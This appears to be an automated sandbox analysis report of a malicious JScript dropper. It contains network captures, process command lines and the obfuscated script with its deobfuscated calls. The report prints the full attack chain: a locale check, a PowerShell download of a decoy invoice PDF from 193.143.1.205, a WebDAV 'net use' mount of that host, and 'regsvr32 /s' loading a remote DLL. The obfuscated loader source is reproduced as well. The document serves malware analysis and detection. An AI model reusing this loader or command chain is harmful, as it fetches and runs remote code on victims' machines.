64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:00:48.215224981 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:00:48.215255976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 18:00:48.215358973 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 18:00:48.215392113 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 18:00:48.215405941 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 18:00:48.215416908 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 18:00:48.215430021 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 18:00:48.215442896 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 18:00:48.215456009 CET	552	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 18:00:48.221038103 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49711	193.143.1.205	8888	4556	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:00:49.869251966 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:00:50.684191942 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:00:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:00:43
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js"
Imagebase:	0x7ff716480000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:00:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Imagebase:	0x7ff711850000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:00:44
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:00:44
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:00:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff77b230000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:00:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff711850000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:00:49
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff798a60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:00:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff763240000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:00:49
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7d3e90000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:00:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1676,i,15707326224587999435,5952593466761488752,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff763240000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function svjqecf() {	svjqecf() ➔ undefined
1	wuzty = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ioznsvnst = this[sldvkd + wqrjovk + ysxxkpfgb + zziubxrb + putijj + syivoxhul + gauvqixn + gdywon] ( this[lhhrhp + pkswoia + rqjrbbkk + ysxxkpfgb + dqqlz + sldvkd + gdywon][stnokmj + ysxxkpfgb + putijj + wqrjovk + gdywon + putijj + wmulgxq + whqtg + yngyuyfpe + putijj + rqjrbbkk + gdywon] ( lhhrhp + pkswoia + rqjrbbkk + ysxxkpfgb + dqqlz + sldvkd + gdywon + kgdwvz + pkswoia + ofipplfh + putijj + ypfcgaqzj + ypfcgaqzj ) [jnytt + putijj + huxujb + jnytt + putijj + wqrjovk + loopz] ( gcgwkc + ftjifbmg + qqnnm + fcdqyry + zljndrv + stnokmj + nioflaejl + jnytt + jnytt + qqnnm + ysepib + hxizsdi + zljndrv + nioflaejl + pkswoia + qqnnm + jnytt + zmshlimb + stnokmj + oaelmlnqa + gauvqixn + gdywon + ysxxkpfgb + oaelmlnqa + ypfcgaqzj + fulqei + emtcxrmdt + wqrjovk + gauvqixn + putijj + ypfcgaqzj + zmshlimb + syivoxhul + gauvqixn + gdywon + putijj + ysxxkpfgb + gauvqixn + wqrjovk + gdywon + dqqlz + oaelmlnqa + gauvqixn + wqrjovk + ypfcgaqzj + zmshlimb + snxsxjrr + oaelmlnqa + rqjrbbkk + wqrjovk + ypfcgaqzj + putijj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ihvnfztcs = 0 ; ihvnfztcs < wuzty[ypfcgaqzj + putijj + gauvqixn + huxujb + gdywon + ofipplfh] ; ++ ihvnfztcs )
4	{
5	if ( ioznsvnst == wuzty[ihvnfztcs] )
6	{
7	ioznsvnst = true;
8	break ;
9	}
10	}
11	if ( ioznsvnst !== true )
12	this[lhhrhp + pkswoia + rqjrbbkk + ysxxkpfgb + dqqlz + sldvkd + gdywon][ctcwo + uieirkwf + dqqlz + gdywon] ( );
13	this[lhhrhp + pkswoia + rqjrbbkk + ysxxkpfgb + dqqlz + sldvkd + gdywon][stnokmj + ysxxkpfgb + putijj + wqrjovk + gdywon + putijj + wmulgxq + whqtg + yngyuyfpe + putijj + rqjrbbkk + gdywon] ( lhhrhp + pkswoia + rqjrbbkk + ysxxkpfgb + dqqlz + sldvkd + gdywon + kgdwvz + pkswoia + ofipplfh + putijj + ypfcgaqzj + ypfcgaqzj ) [ysxxkpfgb + uieirkwf + gauvqixn] ( rqjrbbkk + qcrkq + loopz + fulqei + xsohtjbq + rqjrbbkk + fulqei + sldvkd + oaelmlnqa + ihgdlbdv + putijj + ysxxkpfgb + zziubxrb + ofipplfh + putijj + ypfcgaqzj + ypfcgaqzj + kgdwvz + putijj + ruxglkakr + putijj + fulqei + szlolwuz + stnokmj + oaelmlnqa + qcrkq + qcrkq + wqrjovk + gauvqixn + loopz + fulqei + avjgjxc + syivoxhul + gauvqixn + qluncse + oaelmlnqa + nszipojt + putijj + szlolwuz + lhhrhp + putijj + whqtg + jnytt + putijj + sgmewdxte + uieirkwf + putijj + zziubxrb + gdywon + fulqei + szlolwuz + wmulgxq + uieirkwf + gdywon + zryco + dqqlz + ypfcgaqzj + putijj + fulqei + ubecukv + gdywon + putijj + qcrkq + sldvkd + ubecukv + zmshlimb + dqqlz + gauvqixn + qluncse + oaelmlnqa + dqqlz + rqjrbbkk + putijj + kgdwvz + sldvkd + loopz + fpvcyvokl + fulqei + ofipplfh + gdywon + gdywon + sldvkd + hzpbcxik + xsohtjbq + xsohtjbq + ievgnwuut + kijtxaro + gevivamd + kgdwvz + ievgnwuut + uubyyztm + gevivamd + kgdwvz + ievgnwuut + kgdwvz + brgyeolq + krtkqp + scceshc + xsohtjbq + dqqlz + gauvqixn + qluncse + oaelmlnqa + dqqlz + rqjrbbkk + putijj + kgdwvz + sldvkd + ofipplfh + sldvkd + avjgjxc + cfrfdmx + cfrfdmx + zziubxrb + gdywon + wqrjovk + ysxxkpfgb + gdywon + fulqei + ubecukv + gdywon + putijj + qcrkq + sldvkd + ubecukv + zmshlimb + dqqlz + gauvqixn + qluncse + oaelmlnqa + dqqlz + rqjrbbkk + putijj + kgdwvz + sldvkd + loopz + fpvcyvokl + cfrfdmx + cfrfdmx + rqjrbbkk + qcrkq + loopz + fulqei + xsohtjbq + rqjrbbkk + fulqei + gauvqixn + putijj + gdywon + fulqei + uieirkwf + zziubxrb + putijj + fulqei + zmshlimb + zmshlimb + ievgnwuut + kijtxaro + gevivamd + kgdwvz + ievgnwuut + uubyyztm + gevivamd + kgdwvz + ievgnwuut + kgdwvz + brgyeolq + krtkqp + scceshc + nuzozc + mwhnnq + mwhnnq + mwhnnq + mwhnnq + zmshlimb + loopz + wqrjovk + qluncse + ihgdlbdv + ihgdlbdv + ihgdlbdv + ysxxkpfgb + oaelmlnqa + oaelmlnqa + gdywon + zmshlimb + cfrfdmx + cfrfdmx + rqjrbbkk + qcrkq + loopz + fulqei + xsohtjbq + rqjrbbkk + fulqei + ysxxkpfgb + putijj + huxujb + zziubxrb + qluncse + ysxxkpfgb + gevivamd + brgyeolq + fulqei + xsohtjbq + zziubxrb + fulqei + zmshlimb + zmshlimb + ievgnwuut + kijtxaro + gevivamd + kgdwvz + ievgnwuut + uubyyztm + gevivamd + kgdwvz + ievgnwuut + kgdwvz + brgyeolq + krtkqp + scceshc + nuzozc + mwhnnq + mwhnnq + mwhnnq + mwhnnq + zmshlimb + loopz + wqrjovk + qluncse + ihgdlbdv + ihgdlbdv + ihgdlbdv + ysxxkpfgb + oaelmlnqa + oaelmlnqa + gdywon + zmshlimb + gevivamd + krtkqp + scceshc + kijtxaro + uubyyztm + brgyeolq + kijtxaro + scceshc + mwhnnq + uubyyztm + kijtxaro + scceshc + uubyyztm + ievgnwuut + kgdwvz + loopz + ypfcgaqzj + ypfcgaqzj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll",0,false) ➔ 0
14	}
15	yngyuyfpe = "i";
16	yngyuyfpe = "p";
17	yngyuyfpe = "L";
18	yngyuyfpe = "F";
19	yngyuyfpe = "d";
20	yngyuyfpe = "C";
21	yngyuyfpe = "W";
22	yngyuyfpe = "A";
23	yngyuyfpe = "a";
24	yngyuyfpe = "g";
25	yngyuyfpe = "g";
26	yngyuyfpe = "s";
27	yngyuyfpe = "p";
28	yngyuyfpe = "z";
29	yngyuyfpe = "B";
30	yngyuyfpe = "Y";
31	yngyuyfpe = "G";
32	yngyuyfpe = "V";
33	yngyuyfpe = "x";
34	yngyuyfpe = "J";
35	yngyuyfpe = "J";
36	yngyuyfpe = "c";
37	yngyuyfpe = "j";
38	uieirkwf = "A";
39	uieirkwf = "L";
40	uieirkwf = "B";
41	uieirkwf = "Q";
42	uieirkwf = "a";
43	uieirkwf = "p";
44	uieirkwf = "m";
45	uieirkwf = "M";
46	uieirkwf = "W";
47	uieirkwf = "f";
48	uieirkwf = "u";
49	ysepib = "K";
50	ysepib = "N";
51	hxizsdi = "V";
52	hxizsdi = "P";
53	hxizsdi = "C";
54	hxizsdi = "p";
55	hxizsdi = "h";
56	hxizsdi = "V";
57	hxizsdi = "w";
58	hxizsdi = "Z";
59	hxizsdi = "X";
60	hxizsdi = "A";
61	hxizsdi = "E";
62	hxizsdi = "f";
63	hxizsdi = "g";
64	hxizsdi = "P";
65	hxizsdi = "T";
66	lhhrhp = "n";
67	lhhrhp = "G";
68	lhhrhp = "g";
69	lhhrhp = "T";
70	lhhrhp = "T";
71	lhhrhp = "v";
72	lhhrhp = "v";
73	lhhrhp = "D";
74	lhhrhp = "K";
75	lhhrhp = "N";
76	lhhrhp = "j";
77	lhhrhp = "a";
78	lhhrhp = "j";
79	lhhrhp = "y";
80	lhhrhp = "N";
81	lhhrhp = "W";
82	ftjifbmg = "a";
83	ftjifbmg = "q";
84	ftjifbmg = "j";
85	ftjifbmg = "y";
86	ftjifbmg = "o";
87	ftjifbmg = "N";
88	ftjifbmg = "l";
89	ftjifbmg = "s";
90	ftjifbmg = "F";
91	ftjifbmg = "h";
92	ftjifbmg = "I";
93	ftjifbmg = "v";
94	ftjifbmg = "j";
95	ftjifbmg = "K";
96	syivoxhul = "I";
97	nuzozc = "e";
98	nuzozc = "x";
99	nuzozc = "q";
100	nuzozc = "y";
101	nuzozc = "P";
102	nuzozc = "d";
103	nuzozc = "P";
104	nuzozc = "a";
105	nuzozc = "k";
106	nuzozc = "x";
107	nuzozc = "c";
108	nuzozc = "F";
109	nuzozc = "M";
110	nuzozc = "V";
111	nuzozc = "M";
112	nuzozc = "C";
113	nuzozc = "z";
114	nuzozc = "N";
115	nuzozc = "e";
116	nuzozc = "X";
117	nuzozc = "C";
118	nuzozc = "@";
119	wmulgxq = "u";
120	wmulgxq = "R";
121	wmulgxq = "h";
122	wmulgxq = "D";
123	wmulgxq = "r";
124	wmulgxq = "v";
125	wmulgxq = "O";
126	wmulgxq = "T";
127	wmulgxq = "k";
128	wmulgxq = "U";
129	wmulgxq = "T";
130	wmulgxq = "E";
131	wmulgxq = "Z";
132	wmulgxq = "M";
133	wmulgxq = "c";
134	wmulgxq = "G";
135	wmulgxq = "J";
136	wmulgxq = "U";
137	wmulgxq = "b";
138	wmulgxq = "w";
139	wmulgxq = "S";
140	wmulgxq = "y";
141	wmulgxq = "B";
142	wmulgxq = "e";
143	wmulgxq = "J";
144	wmulgxq = "S";
145	wmulgxq = "d";
146	wmulgxq = "L";
147	wmulgxq = "L";
148	wmulgxq = "r";
149	wmulgxq = "O";
150	szlolwuz = "W";
151	szlolwuz = "o";
152	szlolwuz = "a";
153	szlolwuz = "P";
154	szlolwuz = "-";
155	jnytt = "G";
156	jnytt = "I";
157	jnytt = "N";
158	jnytt = "j";
159	jnytt = "R";
160	nioflaejl = "z";
161	nioflaejl = "t";
162	nioflaejl = "q";
163	nioflaejl = "j";
164	nioflaejl = "U";
165	xsohtjbq = "x";
166	xsohtjbq = "E";
167	xsohtjbq = "o";
168	xsohtjbq = "D";
169	xsohtjbq = "Q";
170	xsohtjbq = "L";
171	xsohtjbq = "R";
172	xsohtjbq = "R";
173	xsohtjbq = "S";
174	xsohtjbq = "N";
175	xsohtjbq = "Q";
176	xsohtjbq = "e";
177	xsohtjbq = "O";
178	xsohtjbq = "K";
179	xsohtjbq = "T";
180	xsohtjbq = "J";
181	xsohtjbq = "g";
182	xsohtjbq = "/";
183	ypfcgaqzj = "D";
184	ypfcgaqzj = "l";
185	loopz = "U";
186	loopz = "F";
187	loopz = "U";
188	loopz = "g";
189	loopz = "a";
190	loopz = "j";
191	loopz = "J";
192	loopz = "J";
193	loopz = "d";
194	loopz = "z";
195	loopz = "H";
196	loopz = "f";
197	loopz = "J";
198	loopz = "M";
199	loopz = "P";
200	loopz = "u";
201	loopz = "n";
202	loopz = "R";
203	loopz = "p";
204	loopz = "Y";
205	loopz = "H";
206	loopz = "A";
207	loopz = "d";
208	sgmewdxte = "x";
209	sgmewdxte = "p";
210	sgmewdxte = "o";
211	sgmewdxte = "E";
212	sgmewdxte = "q";
213	sgmewdxte = "L";
214	sgmewdxte = "P";
215	sgmewdxte = "G";
216	sgmewdxte = "U";
217	sgmewdxte = "a";
218	sgmewdxte = "u";
219	sgmewdxte = "h";
220	sgmewdxte = "z";
221	sgmewdxte = "x";
222	sgmewdxte = "y";
223	sgmewdxte = "y";
224	sgmewdxte = "L";
225	sgmewdxte = "N";
226	sgmewdxte = "L";
227	sgmewdxte = "m";
228	sgmewdxte = "u";
229	sgmewdxte = "O";
230	sgmewdxte = "u";
231	sgmewdxte = "Y";
232	sgmewdxte = "q";
233	pkswoia = "c";
234	pkswoia = "C";
235	pkswoia = "I";
236	pkswoia = "y";
237	pkswoia = "M";
238	pkswoia = "E";
239	pkswoia = "Z";
240	pkswoia = "y";
241	pkswoia = "o";
242	pkswoia = "z";
243	pkswoia = "m";
244	pkswoia = "k";
245	pkswoia = "s";
246	pkswoia = "C";
247	pkswoia = "O";
248	pkswoia = "B";
249	pkswoia = "r";
250	pkswoia = "e";
251	pkswoia = "a";
252	pkswoia = "S";
253	pkswoia = "H";
254	pkswoia = "H";
255	pkswoia = "v";
256	pkswoia = "B";
257	pkswoia = "g";
258	pkswoia = "S";
259	pkswoia = "D";
260	pkswoia = "L";
261	pkswoia = "Z";
262	pkswoia = "x";
263	pkswoia = "t";
264	pkswoia = "W";
265	pkswoia = "r";
266	pkswoia = "O";
267	pkswoia = "S";
268	pkswoia = "B";
269	pkswoia = "x";
270	pkswoia = "r";
271	pkswoia = "O";
272	pkswoia = "S";
273	ruxglkakr = "K";
274	ruxglkakr = "n";
275	ruxglkakr = "w";
276	ruxglkakr = "t";
277	ruxglkakr = "O";
278	ruxglkakr = "p";
279	ruxglkakr = "L";
280	ruxglkakr = "W";
281	ruxglkakr = "S";
282	ruxglkakr = "m";
283	ruxglkakr = "V";
284	ruxglkakr = "H";
285	ruxglkakr = "s";
286	ruxglkakr = "E";
287	ruxglkakr = "k";
288	ruxglkakr = "z";
289	ruxglkakr = "S";
290	ruxglkakr = "t";
291	ruxglkakr = "v";
292	ruxglkakr = "O";
293	ruxglkakr = "P";
294	ruxglkakr = "v";
295	ruxglkakr = "r";
296	ruxglkakr = "a";
297	ruxglkakr = "M";
298	ruxglkakr = "m";
299	ruxglkakr = "n";
300	ruxglkakr = "x";
301	mwhnnq = "V";
302	mwhnnq = "c";
303	mwhnnq = "u";
304	mwhnnq = "p";
305	mwhnnq = "f";
306	mwhnnq = "o";
307	mwhnnq = "J";
308	mwhnnq = "G";
309	mwhnnq = "t";
310	mwhnnq = "8";
311	zziubxrb = "a";
312	zziubxrb = "F";
313	zziubxrb = "r";
314	zziubxrb = "j";
315	zziubxrb = "V";
316	zziubxrb = "P";
317	zziubxrb = "h";
318	zziubxrb = "G";
319	zziubxrb = "X";
320	zziubxrb = "t";
321	zziubxrb = "s";
322	zziubxrb = "K";
323	zziubxrb = "z";
324	zziubxrb = "i";
325	zziubxrb = "M";
326	zziubxrb = "i";
327	zziubxrb = "v";
328	zziubxrb = "Y";
329	zziubxrb = "x";
330	zziubxrb = "Q";
331	zziubxrb = "d";
332	zziubxrb = "J";
333	zziubxrb = "X";
334	zziubxrb = "C";
335	zziubxrb = "V";
336	zziubxrb = "n";
337	zziubxrb = "o";
338	zziubxrb = "C";
339	zziubxrb = "x";
340	zziubxrb = "c";
341	zziubxrb = "t";
342	zziubxrb = "D";
343	zziubxrb = "H";
344	zziubxrb = "a";
345	zziubxrb = "K";
346	zziubxrb = "B";
347	zziubxrb = "k";
348	zziubxrb = "I";
349	zziubxrb = "c";
350	zziubxrb = "s";
351	ysxxkpfgb = "h";
352	ysxxkpfgb = "n";
353	ysxxkpfgb = "t";
354	ysxxkpfgb = "R";
